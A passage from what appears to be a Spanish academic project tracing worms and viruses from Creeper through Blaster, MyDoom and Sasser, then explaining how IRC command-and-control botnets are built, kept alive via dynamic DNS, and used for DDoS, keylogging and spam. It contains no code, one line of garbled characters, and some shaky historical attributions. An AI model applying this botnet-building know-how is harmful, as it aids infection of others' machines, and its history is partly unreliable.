mediante un archivo infectado. Aunque los gusanos generalmente se encuentran dentro

de otros archivos, a menudo documentos de Word o Excel, existe una diferencia en la

forma en que los gusanos y los virus utilizan el archivo que los alberga. Normalmente el

gusano generará un documento que ya contendrá la macro del gusano dentro. Todo el

documento viajará de un equipo a otro, de forma que el documento completo debe

considerarse como gusano, mientras que en los virus, sólo una parte del programa

legítimo se encuentra infectado.

En el siguiente punto estudiamos la historia de estos tipos de programas y cual ha sido

su evolución a lo largo de los años que ha permitido el desarrollo de los programas bot.

2.1 Virus y gusanos: Los antecedentes

Quizás los primeros interesados en la seguridad de los ordenadores no estaban

demasiado relacionados con el acceso a los sistemas en redes ni a su explotación,

deberíamos remontarnos mucho tiempo atrás, hasta 1939, año en el que el famoso

matemático John Louis Von Neuman escribió un articulo en una revista científica de

Nueva York exponiendo su “Teoría y organización de autómatas complejos” , donde

demostraba la posibilidad de desarrollar pequeños programas que pudiesen tomar el

control de otros de similar estructura. [9]

Von Neuman, en 1944 contribuyó de forma directa en la fabricación de la ENIAC, una

de las computadoras de primera generación y posteriormente la UNIVAC.



En 1949, en los laboratorios de la Bell Computer, subsidiaria de la AT&T, tres jóvenes

programadores: Robert Thomas Morris, Douglas McIlory y Victor Vysottsky, a

maneras de entrenamiento, crearon un juego al que denominaron CoreWar, inspirados

en la teoría de Neuman. Este juego, ejecutaba programas que iban paulatinamente

disminuyendo la memoria del ordenador y el ganador era el que finalmente conseguía

eliminarlos totalmente. Este juego fue motivo de concursos en importantes centros de

investigación como el de la Xerox en California y el MIT.

Sin embargo, por aquellos años la computación era manejada por una pequeña élite de

intelectuales, por lo que el CoreWar fue mantenido en el anonimato. [4]

A principios de 1972 Robert Thomas Morris escribió lo que muchos consideran el

primer gusano informático. Este programa, denominado `creeper', no era ni mucho

menos dañino, sino que era utilizado en los aeropuertos por los controladores aéreos

para notificar que el control de determinado avión había pasado de un ordenador a otro.

Otros ejemplos de gusanos útiles fueron los desarrollados por John Shoch y Jon Hupp,

del centro de investigación de Xerox en Palo Alto, California; estos worms se dedicaban

a tareas como el intercambio de mensajes entre sistemas o el aprovechamiento de

recursos ociosos durante la noche. Todo funcionaba aparentemente bien, hasta que una

mañana al llegar al centro de investigación ningún ordenador funcionaba debido a un

error en uno de los gusanos; al reiniciar los sistemas, estos volvían a fallar porque el

gusano seguía trabajando, por lo que fue necesario diseñar una vacuna; Se había

diseñado el primer “antivirus” aunque evidentemente por entonces no existía tal

término. Este es considerado el primer incidente de seguridad en el que entraban

gusanos en juego. Aunque este nombre no fue ampliamente usado para describirlos

hasta que en 1975 John Brunner publicó la novela de ciencia ficción The Shockwave

Rider, en ella Brunner aplicó termino gusano (Worm) para describir el programa que

utilizó el protagonista y que se caracterizaba por su capacidad de auto replicarse en una

red pudiendo, de esta manera, vulnerar y desvelar los oscuros secretos de la red de

computadores que usaba el gobierno para controlar a sus ciudadanos.

En 1984, el Dr.Fred Cohen, al ser homenajeado en una graduación, en su discurso de

agradecimiento incluyó las pautas para el desarrollo de un virus. Este y otros hechos



posteriores lo convirtieron en el primer autor oficial de los virus (aunque hubo varios

autores más que actuaron en el anonimato) [6]

El Dr. Cohen ese mismo año, escribió su libro “Virus Informáticos: teoría y

experimentos” donde además de definirlos los califica como un grave problema

relacionado con la seguridad nacional. Al poco, los usuarios del BIX BBS, reportaron la

presencia y propagación de algunos programas que habían ingresado en sus ordenadores,

actuando como “caballos de Troya”, logrando infectar a otros programas y hasta el

propio sistema operativo, principalmente al sector de arranque.

El año de la gran epidemia fue 1986, ese año se difundieron los virus Brain, Bouncing

Ball y Marihuana, que fueron las primeras especies representativas de difusión

masiva .Estas tres especies virales tan sólo infectaban el sector de arranque de los

disquetes. Posteriormente aparecieron los virus que infectaban los archivos EXE y

COM.

Sin embargo, no fue hasta 1988 cuando se produjo el primer incidente de seguridad

“serio” provocado por un gusano, que a la larga se ha convertido en el primer problema

de seguridad informática que saltó a los medios. El 2 de noviembre de ese año, Robert T.

Morris (hijo de Robert Thomas Morris, creador del ‘creeper’ y experto en seguridad en

UNIX) saltó a la fama cuando uno de sus programas se convirtió en el Gusano' con

mayúsculas. La principal causa del problema fue la filosofía Security through

Obscurity' que muchos aún defienden hoy en día: Este joven estudiante se aprovechó

de uno de los muchos fallos en Sendmail descubiertos por su padre y los incluyó en su

gusano, además, explotaba varias vulnerabilidades en programas como, fingerd, rsh y

rexecd para acceder a un sistema, contaminarlo, y desde él seguir actuando hacia otras

máquinas En unas horas, miles de equipos conectados a la red dejaron de funcionar,

todos presentando una sobrecarga de procesos sh (el nombre camuflado del gusano en

los sistemas Unix), reiniciar el sistema no era ninguna solución, porque tras unos

minutos de funcionamiento el sistema volvía a presentar el mismo problema.

Fueron necesarias muchas horas de trabajo para poder detener el Worm de Morris;

Expertos de dos grandes universidades norteamericanas, MIT y Berkeley, fueron

capaces de desensamblar el código y proporcionar una solución al problema. Junto a

ellos, cientos de administradores y programadores de todo el mundo colaboraron



ininterrumpidamente durante varios días para analizar cómo se habían contaminado y

cuáles eran los efectos que el gusano había causado en sus sistemas. El día 8 de

noviembre, casi una semana después del ataque, expertos en seguridad de casi todos los

ámbitos de la vida estadounidense se reunieron para aclarar qué es lo que pasó

exactamente, cómo se había resuelto, cuáles eran las consecuencias y cómo se podía

evitar que sucediera algo parecido en el futuro; allí había desde investigadores del MIT

o Berkeley hasta miembros de la CIA, el Departamento de Energía o el Laboratorio de

Investigación Balística, pasando por supuesto por miembros del National Computer

Security Center, organizador del evento. Esta reunión, y el incidente en sí, marcaron un

antes y un después en la historia de la seguridad informática; La sociedad en general y

los investigadores en particular tomaron conciencia del grave problema que suponía un

ataque de esa envergadura, y a partir de ahí comenzaron a surgir organizaciones como el

CERT, encargadas de velar por la seguridad de los sistemas informáticos. También se

determinaron medidas de prevención que siguen vigentes hoy en día, de forma que otros

ataques de gusanos no han sido tan espectaculares: a finales de 1989 un gusano llamado

wank, que a diferencia del de Morris era destructivo, no tuvo ni de lejos las

repercusiones que éste. Desde entonces, no ha habido ninguna noticia importante - al

menos publicada por el CERT - de gusanos en entornos Unix.

Figura 2.3: Eventos relacionados con gusanos y virus



Una nueva generación

La popularidad de Internet, el amplio uso de el correo electrónico, la potencia de los

interpretes de script de MS Office unido con la ingenuidad de algunos usuarios hicieron

posible la creación de una nueva generación de gusanos que usaban estos medios para

propagarse, Sin embargo, no se podría hablar de un cambio de la “scene” en cuanto a

dejar de programar virus a programar gusanos, sería más correcto hablar de evolución

de los virus, de una adaptación a nuevos medios; Nuevos métodos de propagación y con

otros fines. La barrera entre la programación de virus/gusanos y la “scene” hacker será,

como veremos, cada vez más difusa.

Marzo de 1999, el virus Melissa provoca una de las infecciones masivas más

importantes de la historia de los virus informáticos. En principio un virus de macro de

Word, se auto enviaba por correo electrónico a los 50 primeros contactos de la lista de

correo del ordenador infectado.

En Noviembre de ese mismo año el gusano VBS/BubbleBoy marca un antes y un

después en los métodos de infección, dicho gusano, escrito en Visual Basic Script y

aprovechando un agujero del Internet Explorer 5 se activaba sin necesidad de ejecutar

ningún fichero adjunto, tan sólo con abrir el mensaje o visualizarlo el equipo quedaba

infectado.

Sin embargo, destaca el gusano VBS/LoveLetter ( 3 de Mayo 2000), comúnmente

denominado “I Love You” que era especialmente ingenioso combinando los métodos

expansión del gusano con técnicas de ingeniería social. Dicho gusano se mandaba por

correo electrónico con un mensaje cuyo asunto era “I Love You” e incluía adjunto el

fichero “Love-Letter-For-You-txt.vbs” que al abrirlo infectaba el ordenador y que se

tomaba la libertad de sobrescribir archivos y música, imágenes y otros.

También en el año 2000 apareció el gusano JS/Kak.Worm el cual se propagaba mediante

la ocultación tras un guión de Java Script en la autofirma de Outlook Express, lo cual le

permitía infectar sistemas sin que fuera necesario abrir ningún fichero adjunto.

Por tanto, podemos observar una sustancial mejora en las técnicas de infección: Desde

los primeros gusanos que necesitaban la interacción del usuario, se evoluciona a una

infección cada vez más automática e independiente. Los creadores de virus aprovechan

vulnerabilidades en el software de uso habitual a través de exploits programados por



terceros; Pocas veces están realizados por el autor del programa malicioso, ya que su

creación suele ser una tarea compleja, no apta para cualquier usuario. Pero, en ocasiones,

el autor del exploit lo pone a disposición de otros usuarios, esto es aprovechado por los

creadores de virus y gusanos que lo incorporan en sus creaciones.

Hay que destacar las múltiples ventajas de este nuevo método de infección: Si se trata

de una vulnerabilidad para el sistema operativo Windows o un programa muy común,

dispone de millones de víctimas potenciales. A esto hay que añadirle que la propagación

puede llegar a realizarse de manera extraordinariamente rápida, ya que no hay ninguna

barrera que evite su expansión.

El 13 de Julio del 2001, una vulnerabilidad en el servidor Web de Microsoft, Internet

Information Server (IIS) permitió al gusano Code Red infectar 359.000 ordenadores, en

menos de una semana y más de un millón en su corta vida.

A diferencia de sus predecesores, Code Red no requería ninguna intervención del

usuario para ejecutarse y auto replicarse, además de las características típicas de

expansión, este gusano al infectar el sistema, buscaba nuevos servidores IIS y

comprobaba si había sido ya infectado, además pasados unos días, intentaba un ataque

de denegación de servicio contra algunas IP´s prefijadas, como por ejemplo la de la

Casa Blanca.

A partir de ese momento, la expansión de este tipo de gusanos, se hace cada vez más

dañina, y por tanto más famosa y mediática:

El gusano Blaster, también conocido como Lovsan o Lovesan infectaba ordenadores

que ejecutaba Windows Xp o 2000 y que no estaban correctamente parcheados.

Este gusano fue detectado por primera vez el 11 de Agosto de 2003 alcanzando sus

máximas cotas de infección el 13 de Agosto.



Figura 2.4: Descripción del funcionamiento del gusano blaster

Gusano Blaster Blaster utiliza una vulnerabilidad en la interfaz RPC que permite la ejecución arbitraria de código mediante un desbordamiento de buffer en dicho servicio de Windows. RPC (Remote Procedure Call) es un protocolo que proporciona a Windows un mecanismo de comunicación entre procesos para que un programa que se está ejecutando en un equipo ejecute fácilmente código en un equipo remoto. La falla mencionada permite que se pueda ejecutar código en forma aleatoria, enviando mensajes construidos maliciosamente entre procesos específicos. Estudiando un poco más en detalle, el gusano hace uso de los siguientes archivos: MSBLAST.EXE: Es el gusano propiamente dicho, un archivo comprimido con la utilidad UPX. El gusano se propaga a través del puerto TCP/135, copiándose en los ordenadores que no poseen el parche para la vulnerabilidad, crea un shell remoto (ejecutando CMD.EXE) en el puerto TCP/4444 de la máquina infectada (un SHELL es un intérprete de comandos que interpreta y activa los comandos o utilidades introducidos por el usuario) y usando este shell, el gusano ejecuta un comando TFTP (get) para descargar el gusano propiamente dicho en el directorio System32 de Windows. TFTP: (Trivial File Transfer Protocol) Es una versión simplificada de FTP (File Transfer Protocol), un protocolo que permite la transferencia de archivos entre dos ordenadores conectados en red. Además de todo esto el gusano también se ejecuta como un servidor FTP en el ordenador atacado usando el puerto UDP/69, con lo que permite que la víctima sirva de host a otros usuarios para que descarguen de allí una copia del gusano (MSBLAST.EXE). Para propagarse, el gusano utiliza una ingeniosa rutina que optimiza la infección en las redes más cercanas al host infectado. Para ello, genera 20 direcciones al azar por vez, tomando como base la dirección IP actual del ordenador infectado, y las explora, buscando otros sistemas vulnerables. Por ejemplo, si la dirección IP del host es AAA.BBB.CCC.DDD, las direcciones generadas por el gusano al comienzo tendrán AAA y BBB iguales a los del host. DDD siempre será cero, y CCC será un número al azar entre 0 y 253. Si el número es mayor de 20, se le restará otro valor menor de 20 también al azar. Después de ello, alternará las siguientes combinaciones: AAA será un número de 1 a 254 BBB será un número de 0 a 253 CCC será un número de 0 a 253 DDD será siempre 0 Con las direcciones generadas, el gusano analiza otros equipos vulnerables, siempre hasta 20 direcciones IP al mismo tiempo. Como resultado de toda esta actividad, la subred local será saturada con pedidos al puerto 135. Además de todo ello, el gusano está preparado para realizar ataques distribuidos de denegación de servicio (DDoS), al servidor de actualizaciones de Microsoft, con la intención es impedir la descarga del parche que evita que el propio gusano pueda propagarse. Para ello, y comenzando el 16 de agosto de 2003, todas las máquinas infectadas pueden enviar en forma masiva, una gran cantidad de paquetes de 40 bytes, en intervalos de 20 milisegundos, al puerto 80 de "windowsupdate.com". Curiosamente el daño a Microsoft fue mínimo, ya que el ataque fue realizado a windowsupdate.com y no a windowsupdate.microsoft.com que era la página a la cual era redirigida. De todas maneras y como medida preventiva, la página objetivo fue desconectada para minimizar el daño del gusano. Como curiosidades, en su código, el gusano contiene el siguiente texto (no mostrado al usuario):

I just want to say LOVE YOU SAN!!

billy gates why do you make this possible ? Stop making money and fix your software!!



Figura 2.5: Captura del código del blaster

Otro detalle curioso e identificativo de este gusano es que en ocasiones, y debido a un

error en el exploit utilizado para aprovecharse de la vulnerabilidad, se muestra el

siguiente mensaje antes de que el sistema se cierre:

Figura 2.6: Mensaje de infección del gusano Blaster

Este mensaje de error se hizo famoso en ordenadores de todo el mundo.



Pese a todo, el efecto del gusano pudo ser mucho peor, pero los intentos de los ISP por

filtrar el tráfico y las medidas informativas para que los usuarios y empresas aplicaran el

correspondiente parche ayudaron mucho a mitigar el impacto.

Aun así se estima en billones de dólares en pérdidas económicas y cientos de miles de

ordenadores infectados en todo el mundo.

Como puede observarse en estos primeros gusanos de nueva generación, cada nuevo

elemento usa características de los anteriores, refinan las técnicas antiguas y añaden

nuevas, así mismo, la complejidad y sofisticación de los métodos de propagación y su

efecto dañino se fue incrementando con el tiempo.

Aprovechando las puertas traseras

Otro de los gusanos que más equipo infectó y de los que hubo hasta 100 variantes,

algunas de ellas aún en activo, es el Bagle, una vez en el equipo infectado, abría un

puerto TCP que era usado remotamente por una aplicación para acceder a los datos del

sistema, es decir, combinaba los métodos de propagación de los gusanos con la

instalación de puertas traseras(del estilo de Back Orifice o SubSeven) en el equipo

infectado lo cual daba al creador del programa o a cualquier atacante acceso posterior al

sistema.

El 26 de Febrero del 2004, el gusano MyDoom se convirtió en el gusano de propagación

por email más rápido de la historia (aunque también se propagaba por las carpetas

compartidas de la red Kazaa) y también uno de los más dañinos, se dice que llegó a

ralentizar Internet un 10% y la carga de las paginas Web hasta un 50%. [7]



Figura 2.7: Funcionamiento del gusano MyDoom

El último caso de gusano que salió a la luz de los medios públicos, y sin duda uno de los

que más daños causó fue el gusano Sasser (una variante de Netsky) que comenzó su

actividad el 30 de Abril del 2004.

Dicho gusano, se aprovechaba de un desbordamiento de buffer en el componente de

Windows LSASS (Local Security Authority Subsytem Service). El gusano analizaba

diferentes rangos de direcciones IP y conectaba al ordenador de la víctima

principalmente a través del puerto 445.

Sasser no era transmitido vía email y no requería usuarios para propagarse (como el

Blaster). Cada vez que encontraba sistemas Windows 2000 y Windows Xp no

actualizados, este era replicado.

Gusano MyDoom

La primera cepa de MyDoom se transmitía principalmente por mail, aparentando ser un error en la recepción de un correo. Contenía el encabezado “Error”, “Mail Delivery System”,”Test” o “Mail Transaction Failed” en diferentes lenguajes, incluidos Ingles y Francés. El mail contenía un documento adjunto que si era ejecutado se reenviaba a direcciones de mail encontradas en los documentos locales, tales como la libreta de direcciones del usuario, también se copiaba en las carpetas compartidas de Kazaa en un intento de aumentar su expansión. MyDoom evitaba las direcciones de ciertas universidades como Rutgers, MIT, Stanford y Berkeley, no porque fuera un virus “estudiante” si no porque de esta manera evitaba que infectara equipos con personal que pudiera estudiar su código y dar soluciones para su expansión, por el mismo motivo evitaba direcciones de compañías como Microsoft, Symantec y algunas más relacionadas con la seguridad. La cepa primaria de MyDoom realizaba dos acciones primordiales:

1. Abría una puerta trasera en el puerto TCP/3127 que permitía el control remoto del ordenador infectado

2. Realizaba un ataque de denegación de servicio contra el sitio Web de SCO Group. (Esta acción finalmente sólo funcionó en el 25% de los sistemas infectados).

Las siguientes cepas del gusano, realizaban acciones mucho más interesantes e innovadoras. Por ejemplo bloqueaban el acceso http a algunos sitios antivirus online, bloqueaba utilidades antivirus o sus actualizaciones. Pero sin duda una de las características más novedosas y que llevaron a pensar que los autores del gusano podían pertenecer a redes de crímenes organizados o con fines lucrativos fue que añadía anuncios pop-up de algunas compañías de marketing. Este virus causó unas perdidas económicas de 40 billones de dólares. [7]



Los sistemas infectados experimentaban una gran inestabilidad, apareciendo otro

famoso mensaje:

Figura 2.8: Infección por el gusano Sasser

Los efectos se hicieron notar en todo el mundo, aparte de infectar millones de

ordenadores personales de todo el mundo, el gusano:

• Bloqueó las comunicaciones de la agencia de comunicaciones francesa por

cuatro horas.

• La compañía de vuelos Delta Airlines tuvo que cancelar muchos vuelos

transatlánticos por que su sistema de ordenadores estaba colapsado por el virus.

• La compañía de seguros Nordic tuvo que cesar su actividad y cerrar sus 130

oficinas en Finlandia.

• Los servicios de mapas electrónicos de los guardacostas Británicos estuvieron

desconectados por horas

• El departamento de rayos-x de Hospital Universitario de Lund tuvo sus

máquinas de rayos-x apagadas por unas horas y tuvo que redirigir las

emergencias a un hospital cercano. [8]



Figura 2.9: Cronología de la nueva generación de gusanos. 1-marzo 1999 /30 abril

2004

Actualmente

Sin duda, desde entonces, han aparecido miles de nuevos gusanos y variantes de los

anteriores, sin embargo se ha logrado minimizar enormemente el impacto y la

expansión de los gusanos, esto es debido entre otras causas:

• Esfuerzos de los ISP´s por filtrar y aislar el tráfico de su red.

• Las campañas de concienciación de los departamentos de alertas y respuestas de

seguridad y

• Las investigaciones de las casas antivirus por encontrar las nuevas firmas que

detecten estos gusanos

En todos los casos de grandes epidemias de gusanos, es importante resaltar que fueron

todos creados con base en vulnerabilidades anunciadas por el fabricante y que antes de

cada ataque había disponible un parche que las corregía. [8]

De cada error se aprende algo nuevo, y de estas epidemias aprendimos que es necesario

tomar en serio las actualizaciones de seguridad para el sistema operativo y los

programas que usemos.

Desde entonces, dos nuevos objetivos están siendo enfocados por los atacantes: por un

lado, las aplicaciones del tipo punto a punto; es decir, aquellos servicios que permiten la

conexión directa de dos equipos en Internet, como es el caso de la mensajería

instantánea y los programas para compartir archivos, tan populares hoy en día.



Y en todo esto: ¿Dónde se quedan las redes de bots? Bien, los gusanos son, sin duda, los

antecedentes directos de estas redes, los bots están programados para seguir el modelo

de expansión de las últimas generación de programas, es decir, la explotación de

vulnerabilidades en el software del equipo víctima.

Sin embargo, una vez que el equipo está comprometido debemos observar la manera en

la que el atacante hace uso del mismo. Como hemos visto, la forma más habitual de

controlar la red de bots es a través del IRC, por tanto, si estamos estudiando la historia y

los antecedentes de las redes de bots, sería interesante, estudiar la historia del modelo

C&C mediante IRC:

2.2 Bots de IRC. Antecedentes

Un bot de IRC (IRC bot) es un conjunto de scripts o un programa independiente que se

conecta a un servidor de charlas como un cliente y aparece a los otros usuarios como un

nick más. El bot responde a comandos predefinidos con acciones determinadas y suelen

usarse para diversos motivos:

• Proteger a los canales de inundaciones y absorciones.

• Mantenimiento de los canales.

• Mantener listas de acceso.

• Permitir el acceso a bases de datos.

• Creación de estadísticas.

• Publicidad.

• Ejecutar juegos (el Trivial es el más común).

De hecho él primer bot de IRC llamado GM escrito por el operador de IRC Greg

Lindahl (de nick Wumpus), era un juego para los usuarios que se comunicaban

mediante IRC, el juego se denominaba “Hunt the Wumpus”.

El primer bot usado para controlar y proteger un canal de Chat fue programado en

Diciembre de 1993 por Robert Pointer en Tcl/tk bajo código abierto. Se creó para ser

usado en el canal #gayteen, ya que el autor deseaba controlar y proteger, su por



entonces “controvertido” canal de Chat. Este programa empezó a volverse muy popular

a través de los años y posteriormente, Robert Pointier en conjunción con un grupo de

aficionados evolucionaron sus Scripts hasta convertirlos en sistemas, tal como es hoy el

denominado Eggdrop, reclamado por ser el más popular bot de IRC y cuya comunidad

ha crecido enormemente en estos últimos años, aunque su creador ya no pertenezca al

grupo.

La disponibilidad del código fuente de este y otros programas de bots de IRC, la

facilidad del control remotamente de cualquier equipo remotamente y la gran

popularidad de estas redes, hizo que los programadores de bots vieran una plataforma

perfecta para el desarrollo de la estructura de comando y control.

Por tanto, ahora poseemos una idea de cuales son los antecedentes y las influencias que

hacen que estas redes de bots tengan la estructura que tienen y cómo funcionan, como

iremos viendo a lo largo del proyecto, dependiendo de la complejidad de cada bot

utilizará métodos y técnicas distintas y más o menos sofisticadas.



Capítulo 3

Funcionamiento y estructura Ahora bien, ¿cómo funciona un bot? Un ejemplo de funcionamiento de una botnet C&C

bajo IRC sería la siguiente:

• Un atacante primero lanza un gusano que infecta varios Hosts. Estos se

convierten en zombies y se conectan al servidor IRC para recibir instrucciones.

• El servidor IRC puede ser una máquina pública en una de las redes IRC, o un

servidor dedicado instalado por el atacante en uno de los Hosts infectados.

• Los bots funcionan en los ordenadores infectados formando una botnet.

• El bot master ordena a los bots, infectar más equipos para aumentar la red.

Figura 3.1: El atacante busca un primer equipo víctima



Figura 3.2: Se ordena al ordenador semilla buscar nuevos objetivos



Figura 3.3: Una vez encontrado la vulnerabilidad, se inyecta el código del bot

Figura 3.4: Los ordenadores comprometidos se unen al canal especificado



Figura 3.5: La botnet busca en Internet nuevos objetivos vulnerables

Por lo tanto una red de bots o botnet se podría dividir en:

1. El atacante: Este se conecta al servidor IRC a un canal definido por el y

normalmente por medio de una contraseña, una vez allí, envía las ordenes

que desee a la red de bots.

2. Servidor IRC: Hace de “máscara” entre el atacante y la red de ordenadores

bots.

3. Red de ordenadores zombies comprometidos: Ejecutan las órdenes que el

atacante les manda desde el canal IRC.



Figura 3.6: Estructura típica de una botnet C&C IRC

Es, como vemos, una estructura muy sencilla, que permite al atacante tener el

control absoluto de las máquinas zombies, la denominada C&C (Command and

control, comando y control) y que hace muy difícil su detección, ya que no son los

ordenadores comprometidos quienes reciben las órdenes directamente si no que todo

el tráfico se realiza a través de un tercero, que es en este caso un servidor IRC.

Ahora bien, que ocurriría si el ordenador comprometido como servidor de IRC no es

accesible, el bot es eliminado, o si, simplemente cierran el acceso al canal de IRC

público. ¿Es tan sencillo eliminar una botnet?

Como refuerzo para las redes de bots, los creadores, comenzaron a utilizar

redirección dinámica de DNS (DDNS, Dynamic Domanin Name Server), una

solución sencilla y con la cual no se perdía la red de bots completa. Tan sólo tenían

que cambiar la DNS del servidor IRC caído por otra accesible y todos los

ordenadores zombies sabrían a que IP conectarse de nuevo.

Normalmente, para conseguir esto, se usa un DDNS gratuito, como DynDns.org o

No-IP.com para apuntar hacia el servidor IRC con el canal que albergará a los bots.

El servidor de DNS dinámico no proveerá servicio alguno para los ataques, tan sólo



trabajará como punto de referencia, con lo cual no realiza ninguna actividad ilegal

con tales servidores.

Figura 3.7: Definición de DNS Dinámico

Sin embargo, aun con todo esto, las redes de bots son bastante frágiles,

principalmente por dos motivos:

• En la actualidad las compañías de DNS dinámicos, se han dado cuenta del

alcance del problema y están intentando eliminar los subdominios que

apunten a redes bots.[10]

• Falta de redundancia: si se descubre un servidor botnet o un canal IRC que

albergue la red bot , todos los bots quedarán al descubierto, la desconexión

del servidor o el cierre del canal, hará que caiga toda la estructura (al menos

hasta que el controlador consiga una nueva dirección para el host)

Como contrapartida, las nuevas versiones de programas para servidores de IRC

incluyen entre sus características “enmascarar” otros servidores con lo cual si se

descubre un host usado como servidor IRC y se consigue cerrar, la reconexión a un

nuevo servidor IRC se haría de forma automática.

� � ��

�� !��"�#��$�� !��%�&�"�� '�� !��'��(��&��(��'�� )��"�#��'��*�� !��)��+��$,��$��'�$��$��$��&��-��$�� $��"�!��-��'��"�.��$��-��%��-��'��$��(��%��-�+�� !��"�



Perdida de bots

Crecimiento

Registro del DDNS

Configuración

Lanzamiento del bot semilla

Baja del DDNS

Abandono del botnet

Pico máximo de crecimiento

3.1 Ciclos de un bot

La actividad de una botnet se considera “cíclica” y se podría observar desde dos

puntos de vista diferentes. Por un lado, se puede observar el ciclo de actividad del

atacante (ciclo de la botnet):

• El ‘bot-herder’ configura los parámetros iniciales del bot, tal como los vectores.

de infección, el payload, ocultamiento y los detalles de C&C.

• Procede al registro del DDNS.

• El ‘bot-herder’ lanza los bots-semilla. Comienzo de la infección.

• Fase de crecimiento- expansión-propagación.

• Pérdida de bots a otras botnets.

• Pico de máximo crecimiento.

• Abandono de la botnet.

• Da de baja el DDNS.

Figura 3.8: Ciclo de un botnet desde el punto de vista del atacante



Por otro el lado, el ciclo del equipo infectado (ciclo de un bot):

• Infección. Establecimiento del C&C

• Análisis de objetivos vulnerables para la expansión del bot

• Pérdida del bot

• Recuperación del bot

• Actualización con nuevo código del bot

• Espera

Figura 3.9: Ciclo de un bot desde la víctima

Una de las características más importante de los bots, es que pueden extenderse con

facilidad a otros ordenadores. La planificación cuidadosa del proceso de infección

ayuda a conseguir mejores resultados en menos tiempo.

El uso de los canales IRC para la comunicación remota de redes botnets tiene las

siguientes ventajas:

• Es flexible: Incluso los servidores públicos pueden usarse como medio de

comunicación.

• Simple: Es posible controlar cientos e incluso miles de bots de forma

simultanea y con pocos comandos.

Infección

Análisis de otros equipos/Uso del bot

Pérdida del bot

Recuperación Actualización con nuevo código

Espera de órdenes



• Fácil de usar: Se usan los comandos usuales del IRC, ampliamente

conocidos.

• Anónima: Permite al atacante ocultar su identidad, usando técnicas

sencillas como servidores proxies anónimos, cuentas shell remotas o

spoofing de direcciones IP, por lo que es difícil dar caza al dueño de la red

de bots.

3.2 Algunos usos de las botnet

Se va a ver aquí el uso que hacen los controladores de las redes bots. Aunque

hablaremos en profundidad y lo analizaremos más concienzudamente en capítulos

posteriores, servirá de introducción para incidir en la peligrosidad de estas redes y el

peligro que conlleva para la seguridad en los sistemas.

Una vez que el ‘bot herder’ se ha hecho control de una máquina (bot semilla), la botnet

crece de manera exponencial. El atacante, ordenará a este equipo seguir rastreando la

red en busca de equipos vulnerables, infectándolos, pudiendo llegar a montar redes de

miles de sistemas comprometidos bajo su control.

Aunque no es muy difícil imaginar que se podría realizar con una red de cientos o miles

de ordenadores comprometidos bajo el control total de una persona, desglosaremos aquí

algunas “aplicaciones”:

Ataques de denegación de servicio distribuido (DDOS, Distributed Denial of

Service)

Supongamos que tenemos una botnet de 100 equipos, una red bastante pequeña, cada

equipo tiene de media una conexión de subida de 128 kb/s, de la cual supongamos que

sólo usa la mitad para el ataque (debido a que se esté usando la conexión para el usuario

o por otros motivos) 128/2= 64kb/s*100= 6400kb/s, es decir, el equivalente a 8MB en

datos por segundo contra sólo un objetivo, todo esto con tan sólo 100 equipos y con una

conexión media-baja (lo normal en los equipos es 300kb/s de subida), sin duda capaz de

saturar a más de un host de Internet.



Muchas redes han sufrido estos ataques, los controladores de las bots en ocasiones

alquilan la red a mafias o a empresas para que ataquen empresas rivales.

Sniffing y keylogging

La observación de los datos que circulan por un equipo puede permitir la detección de

una cantidad increíble de información que puede ser usada para actos maliciosos futuros,

en este apartado se podría incluir, hábitos de usuario, análisis de paquetes TCP, robo de

claves de correo, paypal, robo de identidades, información de banca online, tarjetas de

crédito, licencias lícitas de software…

Spamming

Las botnets son el medio ideal para los spammers, se usan para intercambiar direcciones

de email recogidas para controlar oleadas de correo basura de la misma forma que se

hacen los ataques DDOS. Puede enviarse un sólo mensaje de correo basura a la botnet y

ser distribuida a través de bots que envían el correo basura. El spammer permanece

anónimo y toda la culpa será de los ordenadores afectados.

Sembrar Malware

Con tan sólo una orden del ‘bot herder’ todos los bots de una red pueden comenzar a

descargar de cualquier sitio de la red, programas malware o de publicidad “pop-up”

Crear servidores proxy

Bien para ocultarse para acceder a los servidores IRC o para redirigir ataques de spam y

malware

Creación de servidores Web

Con ficheros maliciosos, para ataques de phising o para almacenamiento de software

ilegal, el ordenador infectado se usará como almacén dinámico de software pirata,

pornografía, material ilegal, etc.…mientras que el legítimo usuario ignora que esto

sucede.



Capítulo 4

Fauna Bot A la hora de abordar el estudio de los bots, contamos a nuestro favor con que muchos de

ellos tienen el código fuente disponible para su estudio, los más famosos incluso se

encuentran bajo licencia GPL, otros poseen su código descargable de Internet (pero sin

derecho de modificación), hecho que motiva su enorme expansión y diferentes

versiones de cada uno.

No obstante, no todos los programas que hemos podido encontrar incluyen su código

fuente, hay algunos que traen tan sólo un ejecutable, lo que dificulta su análisis. Otros

incluso contienen falsos bots en archivos binarios que en realidad ejecutan puertas

traseras en el equipo, convirtiendo al supuesto atacante en víctima.

El hecho de tener el código fuente disponible es causa directa de que estos bots sean los

más frecuentes y de los que existen más variantes, también son los más desarrollados y

los que más funcionalidades poseen. Por tanto, estudiaremos en mayor medida estos

bots que normalmente forman las denominadas “familias”. Cada versión del bot en estas

familias posee unas características diferentes, nuevas mejoras, o simplemente son

personalizadas a gusto del “bot herder” que las compila y distribuye.

Hay que destacar que sólo vamos a estudiar una pequeña muestra representativa de

todos los bots existentes, sería imposible estudiarlas todas, ya que cada creador de bots

va modificando y ajustando los programas según las necesidades de cada momento, es

por tanto probable que si alguien continua este trabajo o lo empieza de nuevo, encuentre

disponible otras versiones de los bots con nuevas características o no encuentre algunas

a las que me refiero aquí.

Sin embargo, las principales funcionalidades están comentadas a fondo en este proyecto.

Se clasifican las características de los bots con la finalidad de poder contar con un

número suficiente de elementos como para estudiarlos a fondo en los siguientes puntos,

bien sea de manera conjunta (las de un mismo bot) o bien las singulares de un bot que

resulte interesante resaltar.

Para ello comenzaremos de un modo constructivo, desde los bots más básicos, iremos

avanzando hasta llegar a las grandes familias que poseen decenas de versiones y

características diferentes.



Se comienza el estudio con los primeros bots de IRC (no se pueden denominar aun de

comando y control) que empezaban a “esbozar” la estructura y características que

usarían posteriormente este tipo de bot C&C. Para ello, es importante definir cuales son

las diferencias entre uno y otro, ya que a veces es difícil determinar la línea que los

separa:

Bot IRC Bot C&C IRC

• No “infecta” el sistema: No se

instala sin consentimiento del

usuario legitimo del equipo.

• No implementa acciones

dañinas contra el sistema en el

que esta instalado ni contra

otros equipos de la red

• No implementa características

de robo de información en el

equipo que se instala

• No permite el control

absoluto del equipo que es

instalado

• Normalmente en ordenadores

remotos mediante cuentas

shell

• Se instala sin consentimiento

del legitimo usuario

• Implementa acciones dañinas

• Implementa acciones de robo

de información

• Permite el control absoluto

del equipo infectado

• Se instala usualmente en

ordenadores remotos

domésticos.

